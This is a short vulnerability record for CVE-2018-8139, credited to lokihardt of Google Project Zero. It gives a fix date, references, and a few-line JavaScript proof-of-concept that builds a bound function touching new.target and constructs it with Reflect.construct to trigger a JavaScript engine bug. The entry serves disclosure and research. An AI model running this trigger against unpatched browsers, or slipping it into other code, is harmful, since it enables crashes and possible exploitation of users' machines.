CVE-2018-8139.md

CVE-2018-8139

• Fix: July 2018
• Credit: lokihardt of Google Project Zero

PoC

function func() {
    new.target.x;
}

let bound = func.bind({}, 1);

Reflect.construct(bound, []);

Reference

• Microsoft
• Google Project Zero
• Fix